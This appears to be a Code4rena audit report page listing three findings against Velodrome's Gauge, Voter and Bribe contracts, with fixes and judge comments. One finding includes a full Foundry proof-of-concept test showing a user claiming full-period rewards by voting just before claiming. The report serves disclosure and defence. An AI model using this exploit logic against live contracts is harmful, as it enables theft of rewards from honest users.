Platform: Code4rena
Start Date: 23/05/2022
Pot Size: $75,000 USDC
Total HM: 23
Participants: 75
Period: 7 days
Judge: GalloDaSballo
Total Solo HM: 13
Id: 130
League: ETH
Rank: 3/75
Findings: 3
Award: $8,006.81
π Selected for report: 1
π Solo Findings: 1
π Selected for report: hyh
Also found by: smiling_heretic, unforgiven, xiaoming90
When a user interacts with a gauge and a new balance checkpoint is created (in storage of this gauge), then checkpoint.voted
for this new checkpoint is always false
.
Unless users are aware of this bug and call voter.poke
after each interaction with the gauge or before claiming rewards, they will be unfairly missing rewards.
User Alice votes. That creates her first checkpoint with voted == true
. Then she waits some time and deposits tokens to the same gauge. This creates another checkpoint. Boolean variable voted
is calculated in this line:
bool prevVoteStatus = (_nCheckPoints > 0) ? checkpoints[account][_nCheckPoints].voted
_nCheckPoints
is index of a checkpoint that doesnβt yet exist, so checkpoints[account][_nCheckPoints].voted
evaluates to false
Missing of rewards is caused by the following lines in earned function:
Tested in Foundry
Change
bool prevVoteStatus = (_nCheckPoints > 0) ? checkpoints[account][_nCheckPoints].voted : false;
to
bool prevVoteStatus = (_nCheckPoints > 0) ? checkpoints[account][_nCheckPoints - 1].voted : false;
Last checkpoint has index _nCheckPoints - 1
, not _nCheckPoints
.
#0 - pooltypes
2022-06-13T16:09:58Z
Duplicate of #59
#1 - GalloDaSballo
2022-06-30T23:58:38Z
Dup of #59
π Selected for report: smiling_heretic
6473.16 USDC - $6,473.16
https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L195 https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L489-L490 https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L499-L500
if (cp0.voted) { reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;
this line in gauge.earned
function looks like the intention here is to incentivize users to keep their escrow.balanceOfNft
voted for this gauge.
However, it's enough to vote just before claiming rewards (even in the same transaction) and voter.reset
just after receiving rewards to pass this if
and get rewards for full period since last interaction with the gauge.
I'm pasting my test file:
pragma solidity 0.8.13; import "./BaseTest.sol"; contract ExploitTest is BaseTest { VotingEscrow escrow; GaugeFactory gaugeFactory; BribeFactory bribeFactory; Voter voter; Gauge gauge; Bribe bribe; Pair pool; Minter minter; address alice = address(1); address bob = address(2); address charlie = address(3); function setUp() public { deployOwners(); deployCoins(); mintStables(); uint256[] memory amounts = new uint256[](2); amounts[0] = 2 * TOKEN_1M; // use 1/2 for veNFT position amounts[1] = TOKEN_1M; mintVelo(owners, amounts); // give owner1 veVELO escrow = new VotingEscrow(address(VELO)); VELO.approve(address(escrow), TOKEN_1M); escrow.create_lock(TOKEN_1M, 4 * 365 * 86400); deployPairFactoryAndRouter(); deployPairWithOwner(address(owner)); deployPairWithOwner(address(owner2)); gaugeFactory = new GaugeFactory(address(factory)); bribeFactory = new BribeFactory(); voter = new Voter( address(escrow), address(factory), address(gaugeFactory), address(bribeFactory) ); address[] memory tokens = new address[](4); tokens[0] = address(USDC); tokens[1] = address(FRAX); tokens[2] = address(DAI); tokens[3] = address(VELO); _deployMinter(); voter.initialize(tokens, address(minter)); escrow.setVoter(address(voter)); } function testQuickVote() public { // mint tokens address _minter = VELO.minter(); vm.startPrank(_minter); VELO.mint(alice, TOKEN_1M); VELO.mint(bob, TOKEN_1M); vm.stopPrank(); DAI.mint(alice, TOKEN_1M); FRAX.mint(alice, TOKEN_1M); DAI.mint(bob, TOKEN_1M); FRAX.mint(bob, TOKEN_1M); // add liquidity _addLiquidity(alice); _addLiquidity(bob); // get contracts pool = Pair(factory.getPair(address(FRAX), address(DAI), true)); gauge = Gauge(voter.createGauge(address(pool))); bribe = Bribe(gauge.bribe()); // get veVELO nfts uint256 aliceTokenId = _depositToEscrow(alice); uint256 bobTokenId = _depositToEscrow(bob); vm.warp(block.timestamp + 20); vm.roll(block.number + 1); // add rewards _addRewardVeloToGauge(10 ether); // deposit to gauge _depositToGauge(alice, aliceTokenId); _depositToGauge(bob, bobTokenId); // honest Bob votes for full period // _vote(alice, aliceTokenId); _vote(bob, bobTokenId); // move to the rewards phase vm.warp(block.timestamp + 6 days); vm.roll(block.number + 1); // for some reason I need to add this line or else it reverts... _addRewardVeloToGauge(5 ether); // Alice votes just before claiming rewards _vote(alice, aliceTokenId); _claimRewards(alice); _claimRewards(bob); console.log("alice rewards received", VELO.balanceOf(alice)); console.log("bob rewards received", VELO.balanceOf(bob)); } function _deployMinter() public { RewardsDistributor rewardsDistributor = new RewardsDistributor( address(escrow) ); minter = new Minter( address(voter), address(escrow), address(rewardsDistributor) ); VELO.setMinter(address(minter)); address[] memory claimants = new address[](0); uint256[] memory amounts = new uint256[](0); minter.initialize(claimants, amounts, 0); } function _addLiquidity(address user) public { vm.startPrank(user); DAI.approve(address(router), TOKEN_1M); FRAX.approve(address(router), TOKEN_1M); router.addLiquidity( address(FRAX), address(DAI), true, TOKEN_1M, TOKEN_1M, 0, 0, address(user), block.timestamp ); vm.stopPrank(); } function _depositToEscrow(address user) public returns (uint256) { vm.startPrank(user); VELO.approve(address(escrow), TOKEN_1M); uint256 tokenId = escrow.create_lock(TOKEN_1M, 4 * 365 * 86400); vm.stopPrank(); return tokenId; } function _vote(address user, uint256 tokenId) public { vm.startPrank(user); address[] memory pools = new address[](1); uint256[] memory weights = new uint256[](1); pools[0] = address(pool); weights[0] = 1; voter.vote(tokenId, pools, weights); vm.stopPrank(); } function _depositToGauge(address user, uint256 tokenId) public { vm.startPrank(user); pool.approve(address(gauge), pool.balanceOf(user)); gauge.deposit(pool.balanceOf(user), tokenId); vm.stopPrank(); } function _addRewardVeloToGauge(uint256 amount) public { address _minter = VELO.minter(); vm.startPrank(_minter); VELO.mint(_minter, amount); VELO.approve(address(gauge), amount); gauge.notifyRewardAmount(address(VELO), amount); vm.stopPrank(); } function _addRewardVeloToVoter(uint256 amount) public { address _minter = VELO.minter(); vm.startPrank(_minter); VELO.mint(_minter, amount); VELO.approve(address(voter), amount); voter.notifyRewardAmount(amount); vm.stopPrank(); } function _claimRewards(address user) public { vm.startPrank(user); address[] memory _tokens = new address[](1); _tokens[0] = address(VELO); gauge.getReward(user, _tokens); vm.stopPrank(); } function _logCheckpoint(address user, uint256 checkpointIdx) public { (uint256 timestamp, uint256 balanceOf, bool voted) = gauge.checkpoints( user, checkpointIdx ); console.log("printing checkpoint", checkpointIdx, "for user", user); console.log("timestamp", timestamp); console.log("balanceOf", balanceOf); console.log("voted", voted); } }
Note, that Bob kept his votes for this gauge for full 6-day period but Alice just voted before claiming rewards. In logs, we can see that they both received the same (non-zero) amount of VELO tokens.
Alice can reset her votes in the same transaction after claiming rewards, if she decides to do so.
Foundry
A partial solution would be to create a new checkpoint each time user's voted
status changes (setVoteStatus
is called) instead of overwriting the voted
in last one.
However, even then, users can just assign very small weight to this gauge, and lock very little VELO, so I don't think this if
statement helps with anything. I think, it's better to rethink how to incentivize users to vote for specific gauges.
#0 - pooltypes
2022-06-13T16:09:00Z
Patched in mainnet deployment
#1 - GalloDaSballo
2022-07-01T01:27:45Z
The warden has found a way to sidestep the loss of rewards that automatically happens due to the faulty checkpoint system that always sets voted to false.
In doing so they also showed how the system can fall apart and provided a POC to replicate.
Because I've rated issues related to the voted
checkpoints and loss of rewards with High Severity, at this time I believe this finding should also be bumped as it shows how the system is broken and the way to avoid a loss of rewards
#2 - GalloDaSballo
2022-07-01T01:29:35Z
The sponsor seems to have remedied by deleting the voted logic
π Selected for report: unforgiven
Also found by: csanuragjain, p_crypt0, smiling_heretic
https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Bribe.sol#L83-L90 https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Voter.sol#L327
DoS issues when users try to claim rewards.
tokenRewardsPerEpoch[token][adjustedTstamp]
for a given epoch only increases when bribe.notifyRewardAmount
is called and never decreases. Before it's called first time in a given epoch, this value should be equal to all fees accumulated in the bribe.
After bribe.deliverReward(token, epochStart)
is called first time in the epoch, full balance of this token stored in the bribe should be transferred out to the gauge.
When this function is called 2nd time, it'll try to transfer tokenRewardsPerEpoch[token][adjustedTstamp]
to gauge again, but it'll fail because the balance is already 0.
That is, unless someone has sent reward tokens to the bribe directly without notifyRewardAmount
, or unless adjustedTstamp
in notifyRewardAmount
points to later epoch. But then we'd be transferring these tokens too early and there will be an DoS issue in next epoch.
This function is called when voter.distribute
is called and voter.distribute
is called every time gauge rewards are claimed (gauge.getReward
).
After maybe sending some reward tokens with voter.notifyRewardAmount
to increase voter.claimable
to pass
if (_claimable > IGauge(_gauge).left(base) && _claimable / DURATION > 0)
in voter.distribute
, each attempt to claim rewards by users will fail because deliverBribes
will revert.
I haven't tested it properly in foundry because 5 minutes until deadline but it should work.
Manual analysis
Decrease tokenRewardsPerEpoch[token][adjustedTstamp]
after transferring tokens from the bribe.
#0 - pooltypes
2022-06-13T16:01:55Z
Duplicate of #141
#1 - GalloDaSballo
2022-07-01T01:30:00Z
Dup of #141